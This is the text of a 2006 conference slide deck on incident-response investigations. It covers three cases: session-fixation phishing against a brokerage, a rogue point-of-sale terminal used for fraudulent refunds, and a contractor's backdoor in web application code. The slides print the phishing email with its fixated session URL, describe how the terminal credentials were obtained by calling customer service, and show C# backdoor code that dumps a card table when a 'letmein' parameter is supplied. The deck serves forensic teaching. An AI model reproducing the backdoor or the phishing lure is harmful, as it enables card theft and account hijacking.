Smashing the Stack for Profit, Period

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Hack In The Box 2006
September 21, 2006
Which One Best Describes Today’s Hacker?
Conclusions

- The hacker profile has undergone significant change
- Sophistication of attacks is on a rise…more so than response techniques!
- The motivation behind cyber attacks is primarily $$$ and not fun
- Cyber crime has outgrown illegal drug sales!
A Report from the Trenches – Pump N’ Dump
Symptoms

- “I see a trade executed from my account …10000 shares of a company I haven’t even heard about, were purchased on January 17 (2006) @ 2 pm from my account!” – a client of a well-established brokerage firm in NYC.

- 7 other clients of the same brokerage firm report the same issue – in January 2006.
Investigation

- Computer security breaches were the prime suspect.

- Was the brokerage firm hacked? Was it the end user who was hacked?

- We had dates and times of the trade executions as a clue.
Investigation

- Our team began reviewing the brokerage firm’s online trading application for clues
  - Network logs
  - Web server logs
  - Security mechanisms of the application

- We asked to duplicate the victim’s hard drive and review it for indicators of compromise.
Web Server Logs

- Requested IIS logs for January 17, 2006 from all the (load balanced) servers.

- Combined the log files into one common repository = 1 GB

- Microsoft’s Log Parser to the rescue
Microsoft LogParser

- LogParser is an excellent and free tool for analyzing log files
- Available from www.microsoft.com
- More information on unofficial LogParser support site: http://www.logparser.com/
- Supports a variety of log formats
- Uses SQL syntax to process log files
Microsoft LogParser

-Parsed out all requests to execute.asp using Microsoft Log Parser:

```
LogParser -o:csv "select * INTO execute.csv from *.log where cs-uri-stem like '/execute.asp%'"
```
Can You Find The Smoking Gun?

#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2006-01-01 01:03:15

<table>
<thead>
<tr>
<th>#Fields:time</th>
<th>c-ip</th>
<th>cs-method</th>
<th>cs-uri-stem</th>
<th>cs-uri-query</th>
<th>Status</th>
<th>version</th>
</tr>
</thead>
<tbody>
<tr>
<td>1:03:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTPS/1.0</td>
</tr>
<tr>
<td>1:04:35</td>
<td>172.16.54.33</td>
<td>POST</td>
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<td>1:13:15</td>
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<td>1:19:20</td>
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<td>200</td>
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<tr>
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<td>1:28:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
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(MANDIANT)
Next Step

- Noticed repeated use of same sessionid at regular intervals from the same IP
- Parsed out all requests with the suspicious sessionid

LogParser -o:csv "select * INTO sessionid.csv from *.log where cs-uri-query like '%90198e1525e4b03797f833ff4320af39'"
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#Version: 1.0
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<td>13:58:15</td>
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<td>14:03:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
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<td>HTTPS/1.0</td>
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<td>172.16.14.166</td>
<td>POST</td>
<td>/login.asp</td>
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<td>200</td>
<td>HTTPS/1.0</td>
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<tr>
<td>14:07:54</td>
<td>172.16.14.166</td>
<td>POST</td>
<td>/account.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
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<td>14:10:09</td>
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<td>POST</td>
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<td>200</td>
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Phishing?

- No indications of key logging trojans, malware, viruses, etc. were found on the victim’s computer.
- Look what we found in the archived .pst file:

```
From: customer-service@xyz.com
To: [redacted]
Cc: [redacted]
Subject: Valued Customer Feedback

At , we are always striving to improve the customer’s online experience. We are currently experimenting with a new user interface and have selected a few of our valued customers to provide feedback on it.

We would appreciate it if you, , would review the changes by logging into your account by clicking here and sending us email telling us what you like and what you don’t about what you see.

We appreciate your participation in this process.
Thanks again.

Customer Service
```

URL: https://www.xyzbrokerage.com/login.asp?sessionid=90198e1525e4b03797f833ff4320af39
The application was confirmed to be vulnerable to session fixation:

- A session id was issued before login
- The same session id was used by the application after login for the purposes of user authorization
- This allowed an attacker to hijack legitimate user sessions using a bit of social engineering
A Report from the Trenches – Who Wants to Be A Millionaire?
Symptoms

- Furniture company sees sharp rise in the number of returns at one of their store locations

- 9 returns worth $10,000 each = $90,000 to pre-paid charge cards

- All the transactions had initiated from the same terminal after store hours!
The terminal ID was traced back to a physical store location.

Video surveillance archives were reviewed to identify entry into the facility at the dates and times the fraudulent transactions had been initiated.

NO LUCK THERE!
Could the fraudster have set up a rogue terminal?

Let’s find out…

Credit Card Machine Hypercom T7P 512k POS Terminal
Not Used Still w/Protect Film on len w/5 year warranty

Starting bid: US $79.95  Place Bid >

Buy It Now price: US $79.95  Buy It Now >

End time: 54 mins 19 secs (Jun-11-06 14:06:06 PDT)
Shipping costs: Check item description and payment instructions or contact seller for details
Ships to: United States
Item location: Call Toll Free 800-785-5939, United States
History: 0 bids
What else is needed to setup the terminal?

- A valid **Terminal ID** registered with a card processing company

- The corresponding **download ID** to download POS software on the terminal

- The **phone number** of the software download dial-in server
Where can I get this information from?

- Help is just a phone call away
How did we get the bad guy?

- Configured the dial-in server to log all incoming phone numbers
- Disabled all POS terminal IDs associated with the victim organization – the furniture company
- Recorded all calls to customer service and the caller id
- Obtained a list of all the company’s phone numbers from which legitimate downloads could initiate
Waited Patiently....
On October 12, 2005 customer service received a call to re-activate a terminal. The terminal ID provided by the caller was the same as the one from which the fraudulent transactions had initiated 3 months ago. The caller id was 0123456789! The CSR was instructed to provide the necessary information to initiate the download. A few hours later the terminal initiated a connection to the dial-in server...from a hotel in Miami.
Game Over
A Report from the Trenches – Cyber Extortion
Symptoms

- The CEO of a retail organization received an extortion threat of $250,000 via snail mail.
- The threat – 125,000 customer credit card numbers would be sold to the mafia.
- The response was demanded in the form of a footer on the main page of the retailer’s website.
Response

- In-house counsel used several ploys to buy time – a mere 72 hours were granted by the extorter
- 3 members of our team were brought in to investigate round the clock for the next 3 days
- Our job was to determine how the credit card database may have been compromised and more importantly who the culprit was
What Followed?

- Frenzied web server log analysis to detect anomalous activity – Nothing!
- Reviewed all employee email inboxes to detect internal fraud – Nothing!
- Database login/logout activity reviewed – nothing suspicious
- Web application scanned for SQL injection flaws – No luck!
- Last resort – application code review
Racing Against Time

- Over 100,000 lines of code
- A comprehensive code review was ruled out
- Resorted to scripted searches through code
Scripted Searches

- Did the code contain raw SQL statements?
- Searched for occurrences of the “SELECT” in the code

Regex = .*SELECT.*

- The search resulted in an overwhelming number of hits
Scripted Searches

- The results from the previous search were searched for occurrences of the “SELECT *” string to identify SQL statements where the scope was not properly limited

  Regex = SELECT \*\*FROM\.*

- The search resulted in 5 hits
- One of the hits was:

  SELECT * FROM CardTable
The Code That Made The Call

```csharp
NameValueCollection coll = Request.QueryString;
String[] arr1 = coll.AllKeys;
...
String[] arr5 = coll.getValues(arr1[4]);
string extra = Server.HtmlEncode(arr5[0]).ToString();

if (extra.Equals("letmein"))
{
    Cmd = "SELECT * FROM CardTable";
}
...
```
Eureka!

- This was a backdoor – an insider job?
- Reviewed code archives to detect addition of code
- The first check-in with this code was made by a developer contracted from a third-party in Asia
- Found the URL with the additional parameter in the web server logs
- The client IP traced back to Asia!
Another One Bites The Dust…

- The development company was notified of this rogue activity
- Local law enforcement was cooperative
Questions?